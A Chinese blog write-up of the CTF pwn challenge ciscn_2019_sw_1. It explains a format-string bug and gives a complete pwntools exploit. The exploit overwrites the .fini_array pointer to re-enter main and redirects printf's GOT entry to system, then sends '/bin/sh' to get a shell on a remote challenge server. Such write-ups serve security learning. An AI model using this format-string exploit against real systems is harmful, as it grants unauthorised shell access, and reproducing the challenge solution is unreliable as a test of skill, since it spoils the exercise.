ciscn_2019_sw_1(fmt修改fini_array制造循环)

对这个知识点有些印象,这次遇到就简单记录一下

checksec:

main:

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[68]; // [esp+0h] [ebp-48h] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", format);
  printf("Hello ");
  printf(format);
  return 0;
}

 

提供了system函数

逻辑很简单,格式化字符串,无RELRO所以能修改got表。但因为只执行一次,修改后无法利用。这是就可以利用fmt修改fini_array,构造循环来利用。

原理:将.fini_array 段的函数指针覆写为mian函数,这样就能在程序退出前再执行一次main函数。

glibc源码:

在ida中查看该段

这样思路就很清晰了。第一次执行main函数时同时修改__do_global_dtors_aux_fini_array_entry的指针和printf的got表,第二次执行时输入/bin/sh就能getshell。

exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *
from struct import pack
a=remote("node3.buuoj.cn",28411)
#a=process("/root/ciscn")
libc=ELF("/root/libc-2.27.so")

#one = [0x4f2c5,0x4f322,0x10a38c,0xe585f,0xe569f,0xe58bf]
elf=ELF("/root/ciscn")
context(os='linux',arch="i386",log_level='debug')
sys=0x080483d0
main=0x08048534
fini_array=0x804979c
printf_got=elf.got['printf']
a.recvuntil("Welcome to my ctf! What's your name?")
#payload=fmtstr_payload(4,{fini_array:main},write_size='short')
#print len(payload)
payload=p32(fini_array+2)+p32(printf_got+2)+p32(printf_got)+p32(fini_array)+"%"+str(0x0804-0x4*4)+"c%4$hn"
payload+="%5$hn"+"%"+str(0x83d0-0x0804)+"c%6$hn"+"%"+str(0x8534-0x83d0)+"c%7$hn"
a.sendline(payload)
a.sendline("/bin/sh")
#gdb.attach(a)
a.interactive()

 

有些细节要注意,payload选择用$hn是因为$n一般打不通,而$hhn的payload又过长。payload构造时要按照地址大小排序。

reference:

https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/szpd43

https://www.anquanke.com/post/id/180009

 

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像